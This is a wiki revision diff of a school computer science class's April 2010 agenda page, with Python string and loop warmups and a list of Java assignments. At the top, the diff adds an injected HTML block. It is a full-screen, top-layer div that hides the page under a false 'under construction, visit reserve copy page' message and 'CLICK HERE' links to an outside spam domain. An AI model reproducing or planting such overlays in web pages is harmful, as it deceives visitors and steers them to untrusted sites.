Difference between revisions of "CS1 - 0910 - April"
From WLCS
(Created page with "== Tuesday - Thursday (4/27/10 - 4/29/10) == '''Regular - Warmup:''' # s = "Washington-Lee" # Create a variable named new_s that contains an empty string # Write a while loop tha...") |
|||
Line 1: | Line 1: | ||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://oleqatyqi.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://oleqatyqi.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
== Tuesday - Thursday (4/27/10 - 4/29/10) == | == Tuesday - Thursday (4/27/10 - 4/29/10) == | ||
'''Regular - Warmup:''' | '''Regular - Warmup:''' | ||
Line 39: | Line 47: | ||
* Assume you have the following code: | * Assume you have the following code: | ||
− | + | <source lang="python"> | |
s = "" | s = "" | ||
x = 0 | x = 0 | ||
− | while x | + | while x < 5: |
s = s + "a" | s = s + "a" | ||
x = x + 1 | x = x + 1 | ||
print s | print s | ||
− | + | </source> | |
* What is printed out after the code executes? (DO NOT USE A COMPUTER) | * What is printed out after the code executes? (DO NOT USE A COMPUTER) |
Revision as of 21:50, 23 November 2010
Tuesday - Thursday (4/27/10 - 4/29/10)
Regular - Warmup:
- s = "Washington-Lee"
- Create a variable named new_s that contains an empty string
- Write a while loop that traverses the s string from len(s)-1 down through 0 using a counter variable x
- Inside the while loop, add the current letter of s[x] to new_s
- Decrement x by 1
- Print new_s
Regular:
- Demo Python String Exercises
- Demo E-mail Harvester Assignment
- Complete HTTLACS: Ch7 #5-8
IB:
- Switch to the IB CS 1 page
Wednesday - Friday (4/21/10 - 4/23/10)
Regular:
- Demo Python String Exercises
- Demo E-mail Harvester Assignment
- Complete HTTLACS: Ch7 #5-8
IB:
- Media:MathDemo.java
- Keyboard input in Java
- Try completing the following programs in Java
- Quadratic Formula Assignment
- MPAA calculator assignment
- Guessing Game Assignment (HINT: Look up online how to do random numbers in Java)
- Print Shapes Exercises
- Printing Initials Assignment
- Looping Exercises
Monday (4/19/10)
Regular - Warmup:
- Assume you have the following code:
<source lang="python"> s = "" x = 0 while x < 5:
s = s + "a" x = x + 1
print s </source>
- What is printed out after the code executes? (DO NOT USE A COMPUTER)
Regular:
- Demo Python String Exercises
- Demo E-mail Harvester Assignment
- Complete HTTLACS: Ch7 #5-8
IB:
- Media:MathDemo.java
- Keyboard input in Java
- Try completing the following programs in Java
- Quadratic Formula Assignment
- MPAA calculator assignment
- Guessing Game Assignment (HINT: Look up online how to do random numbers in Java)
- Print Shapes Exercises
- Printing Initials Assignment
- Looping Exercises
Tuesday - Thursday (4/13/10 - 4/15/10)
Regular:
- Demo Python String Exercises
- Complete E-mail Harvester Assignment
IB:
- Media:MathDemo.java
- Keyboard input in Java
- Try completing the following programs in Java
- Quadratic Formula Assignment
- MPAA calculator assignment
- Guessing Game Assignment (HINT: Look up online how to do random numbers in Java)
- Print Shapes Exercises
- Printing Initials Assignment
- Looping Exercises
Monday - Friday (4/5/10 - 4/9/10)
Warmup - Regular:
- Create a string variable s that contains the word "WARMUP!!!!!"
- Create a loop counter variable named x that starts at 0
- Write a loop that iterates while x is less than len(s)
- Print out each letter in s three times (print s[x]*3)
- Increment x
Warmup - IB:
- Open a terminal
- Review terminal navigation commands (ls, cd DIRECTORY, cd ..)
Agenda: Regular:
- Introduction to Strings
- Python String Exercises
- E-mail Harvester Assignment
IB:
- Introduction to Java
Monday (4/5/10)
Warmup - Regular:
- Initialize a variable x to 0
- Write a while loop that runs while x is less than 25
- print out x in the loop
- Increment x by 1
Warmup - IB:
- Initialize a string variable to "Welcome Back!"
- Using a while loop, print every other character in the string
Regular:
- Introduction to Strings
- E-mail Harvester Assignment
IB:
- Bring up what you were working on before
- Progress update